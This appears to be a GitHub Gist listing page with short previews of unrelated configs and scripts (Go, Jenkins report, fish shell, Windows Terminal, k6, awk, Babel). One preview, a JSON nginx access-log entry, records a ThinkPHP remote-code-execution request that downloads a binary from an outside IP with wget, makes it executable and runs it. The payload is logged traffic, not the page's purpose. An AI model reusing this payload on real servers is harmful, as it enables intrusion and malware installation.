This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"bytes" | |
"fmt" | |
"gopkg.in/yaml.v3" | |
"log" | |
"os" | |
"os/exec" | |
"path/filepath" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<title>Jenkins build report</title> | |
<style type="text/css"> | |
body, table, td, th, p { | |
font-family: Calibri, Verdana, Helvetica, sans serif; | |
font-size: 12px; | |
color: black; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#set PATH | |
set PATH $HOME/bin $HOME/.local/bin /usr/local/bin /usr/share /usr/local/go/bin $GOPATH/bin $PATH | |
#encoding | |
set LANG en_US.UTF-8 | |
set LANGUAGE en_US.UTF-8 | |
set LC_ALL en_US.UTF-8 | |
set LC_MESSAGES en_US.UTF-8 | |
# Load all function |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"defaultProfile": "{410aa365-68e4-4a68-83f5-6139ccb43b0a}", | |
"initialRows": 30, | |
"initialCols": 120, | |
"alwaysShowTabs": true, | |
"showTerminalTitleInTitlebar": true, | |
"experimental_showTabsInTitlebar": true, | |
"profiles": [ | |
{ | |
"startingDirectory": "C:\\Users\\$Username", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
set -e | |
function help() { | |
cat << EOF >&2 | |
Usage : ./smooth_del.sh <dir> <ext> <day(s)> <quiet (optional)> | |
<dir> : The path of directory eg. /var/log/something_log/ | |
<ext> : The extension of file to delete eg. jpg | |
<day(s)> : Amount number of the day eg. 14 mean 2 weeks |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"@timestamp": "2019-04-08T10:59:35+07:00", | |
"@fields": { | |
"remote_addr": "138.68.17.41", | |
"remote_user": "-", | |
"status": "404", | |
"request": "GET /public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://185.244.25.168/shenzi.x86;cat%20shenzi.x86%20%3E%20shenzi;chmod%20777%20shenzi;./shenzi HTTP/1.1", | |
"request_uri": "/public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://185.244.25.168/shenzi.x86;cat%20shenzi.x86%20%3E%20shenzi;chmod%20777%20shenzi;./shenzi", | |
"request_method": "GET", | |
"request_time": "0.000", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import http from "k6/http"; | |
import { check } from "k6"; | |
import { Trend, Rate, Counter, Gauge } from "k6/metrics"; | |
export let TrendRTT = new Trend("RTT"); | |
export let RateContentOK = new Rate("ContentOK"); | |
export let TrackRate = new Rate("TrackRate"); | |
export let GaugeContentSize = new Gauge("ContentSize"); | |
export let GaugeResponseTime = new Gauge("ResponseTime"); | |
export let CounterErrors = new Counter("Errors"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
awk 'match($1,/RequestTime:([0-9]+)/, arr) && arr[1] > 2000 && $6 >= "[27/Mar/2019:09:00:00" && $6 < "[27/Mar/2019:23:59:00" && !/web_service|.ico|.svg|.png|.jpg|.jpeg|.css|.js|.gif|.woff2|:0m/' input.log > output.log |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
ps -ylC apache2 --sort:rss | awk '{ s += $8; } END { print "Average Size:", s/(NR-1)/1024, "MB,", NR-1, "Processes, Total usage:", (s/(NR-1)/1024)*(NR-1), "MB, Max Servers:", 6500/(s/(NR-1)/1024) }' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Show hidden characters
{ | |
"env": { | |
"development" : { | |
"presets": [ | |
["env", { | |
"targets": { | |
"browsers": ["last 2 versions", "> 5% in BE"], | |
"uglify": false | |
}, | |
"modules": false |
NewerOlder